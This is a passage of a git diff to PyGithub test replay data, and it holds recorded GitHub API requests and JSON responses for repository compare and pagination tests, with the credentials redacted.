c8d9248f5a..89ff69011d 100644 --- a/tests/ReplayData/Repository.testCollaborators.txt +++ b/tests/ReplayData/Repository.testCollaborators.txt @@ -74,4 +74,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4949'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sun, 27 May 2012 05:34:30 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} - diff --git a/tests/ReplayData/Repository.testCompare.txt b/tests/ReplayData/Repository.testCompare.txt index ea3d1d065f..90a685c260 100644 --- a/tests/ReplayData/Repository.testCompare.txt +++ b/tests/ReplayData/Repository.testCompare.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/compare/v0.6...v0.7 +/repos/jacquev6/PyGithub/compare/v0.6...v0.7?page=1&per_page=250 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '14488'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"42eb6d36008b20550ae6d1991e0423d5"'), ('date', 'Sun, 27 May 2012 06:30:33 GMT'), ('content-type', 'application/json; charset=utf-8')] {"status":"ahead","behind_by":0,"total_commits":4,"merge_base_commit":{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"4303c5b90e2216d927155e9609436ccb8984c495","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad"}}},"patch_url":"https://github.com/jacquev6/PyGithub/compare/v0.6...v0.7.patch","diff_url":"https://github.com/jacquev6/PyGithub/compare/v0.6...v0.7.diff","url":"https://api.github.com/repos/jacquev6/PyGithub/compare/v0.6...v0.7","ahead_by":4,"base_commit":{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"4303c5b90e2216d927155e9609436ccb8984c495","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad"}}},"permalink_url":"https://github.com/jacquev6/PyGithub/compare/jacquev6:4303c5b...jacquev6:ecda065","files":[{"status":"modified","changes":2,"deletions":1,"raw_url":"https://github.com/jacquev6/PyGithub/raw/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/ReferenceOfClasses.md","blob_url":"https://github.com/jacquev6/PyGithub/blob/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/ReferenceOfClasses.md","filename":"ReferenceOfClasses.md","patch":"@@ -3,7 +3,7 @@ You obtain instances through calls to `get_` and `create_` methods.\n \n Class `Github`\n ==============\n-* Constructed from user's login and password\n+* Constructed from user's login and password or OAuth token\n * `get_user()`: `AuthenticatedUser`\n * `get_user( login )`: `NamedUser`\n * `get_organization( login )`: `Organization`","additions":1,"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"},{"status":"modified","changes":4,"deletions":2,"raw_url":"https://github.com/jacquev6/PyGithub/raw/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/github/Github.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/github/Github.py","filename":"github/Github.py","patch":"@@ -2,8 +2,8 @@\n from GithubObjects import *\n \n class Github:\n- def __init__( self, login, password, debugFile = None ):\n- self.__requester = Requester( login, password )\n+ def __init__( self, login_or_token = None, password = None, debugFile = None ):\n+ self.__requester = Requester( login_or_token, password )\n self.__debugFile = debugFile\n \n def _dataRequest( self, verb, url, parameters, data ):","additions":2,"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"},{"status":"modified","changes":17,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/github/Requester.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/github/Requester.py","filename":"github/Requester.py","patch":"@@ -7,8 +7,15 @@ class UnknownGithubObject( Exception ):\n pass\n \n class Requester:\n- def __init__( self, login, password ):\n- self.__authorizationHeader = \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' )\n+ def __init__( self, login_or_token, password ):\n+ if password is not None:\n+ login = login_or_token\n+ self.__authorizationHeader = \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' )\n+ elif login_or_token is not None:\n+ token = login_or_token\n+ self.__authorizationHeader = \"token \" + token\n+ else:\n+ self.__authorizationHeader = None\n \n def dataRequest( self, verb, url, parameters, input ):\n if parameters is None:\n@@ -46,12 +53,16 @@ def statusRequest( self, verb, url, parameters, input ):\n def __rawRequest( self, verb, url, parameters, input ):\n assert verb in [ \"HEAD\", \"GET\", \"POST\", \"PATCH\", \"PUT\", \"DELETE\" ]\n \n+ headers = dict()\n+ if self.__authorizationHeader is not None:\n+ headers[ \"Authorization\" ] = self.__authorizationHeader\n+\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request(\n verb,\n self.__completeUrl( url, parameters ),\n json.dumps( input ),\n- { \"Authorization\" : self.__authorizationHeader }\n+ headers\n )\n response = cnx.getresponse()\n ","additions":14,"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"},{"status":"modified","changes":10,"deletions":1,"raw_url":"https://github.com/jacquev6/PyGithub/raw/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/setup.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/setup.py","filename":"setup.py","patch":"@@ -5,7 +5,7 @@\n \n setup(\n name = 'PyGithub',\n- version = '0.6',\n+ version = '0.7',\n description = 'Use the full Github API v3',\n author = 'Vincent Jacques',\n author_email = 'vincent@vincent-jacques.net',\n@@ -26,6 +26,14 @@\n print repo.name\n repo.edit( has_wiki = False )\n \n+ You can also create a Github instance without authentication::\n+\n+ g = Github( \"user\", \"password\" )\n+\n+ Or with an OAuth token::\n+\n+ g = Github( token )\n+\n Reference documentation\n =======================\n ","additions":9,"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"}],"commits":[{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T05:10:54-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","message":"Implement the three authentication schemes","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T05:10:54-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/59d755d95bc2e2de4dcef70a7c73e81e677f610b","sha":"59d755d95bc2e2de4dcef70a7c73e81e677f610b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"cb0313157bf904f2d364377d35d9397b269547a5","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:04:22-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/cb0313157bf904f2d364377d35d9397b269547a5","message":"Merge branch 'topic/Authentication' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:04:22-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/59d755d95bc2e2de4dcef70a7c73e81e677f610b","sha":"59d755d95bc2e2de4dcef70a7c73e81e677f610b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","sha":"cb0313157bf904f2d364377d35d9397b269547a5"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:13:33-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","message":"Publish version 0.7","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:13:33-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/78735573611521bb3ade95921c668097e2a4dc5e","sha":"78735573611521bb3ade95921c668097e2a4dc5e"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:14:34-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:14:34-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/78735573611521bb3ade95921c668097e2a4dc5e","sha":"78735573611521bb3ade95921c668097e2a4dc5e"}}}],"html_url":"https://github.com/jacquev6/PyGithub/compare/v0.6...v0.7"} - diff --git a/tests/ReplayData/Repository.testCompareCommitPagination.txt b/tests/ReplayData/Repository.testCompareCommitPagination.txt new file mode 100644 index 0000000000..181e216104 --- /dev/null +++ b/tests/ReplayData/Repository.testCompareCommitPagination.txt @@ -0,0 +1,43 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 24 Jan 2024 06:45:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9ae1c35715c1b3c319fe579abed57aeaf53d949c1844bf95f830004c1eba31ec"'), ('Last-Modified', 'Tue, 23 Jan 2024 10:05:32 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1706081414'), ('X-RateLimit-Used', '36'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B642:56C8A:21B64A9:222AA91:65B0B209')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-23T10:05:32Z","pushed_at":"2024-01-23T19:27:16Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15541,"stargazers_count":6497,"watchers_count":6497,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1718,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":282,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1718,"open_issues":282,"watchers":6497,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1718,"subscribers_count":111} + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/compare/v1.54...v1.54.1?page=1&per_page=4 +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 24 Jan 2024 06:45:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b22a1a1b4fe01543dfca61320cdf0ef99ae3b6ef93399b829e93b855dddc86c0"'), ('Last-Modified', 'Thu, 24 Dec 2020 04:11:01 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="last", ; rel="next", ; rel="first"'), ('x-accepted-github-permissions', 'contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4963'), ('X-RateLimit-Reset', '1706081414'), ('X-RateLimit-Used', '37'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B648:2146CD:1F05D5A:1F79C09:65B0B209')] +{"url":"https://api.github.com/repos/PyGithub/PyGithub/compare/v1.54...v1.54.1","html_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1","permalink_url":"https://github.com/PyGithub/PyGithub/compare/PyGithub:951fcdf...PyGithub:34d097c","diff_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.diff","patch_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.patch","base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"merge_base_commit":{"sha":"951fcdf23f8c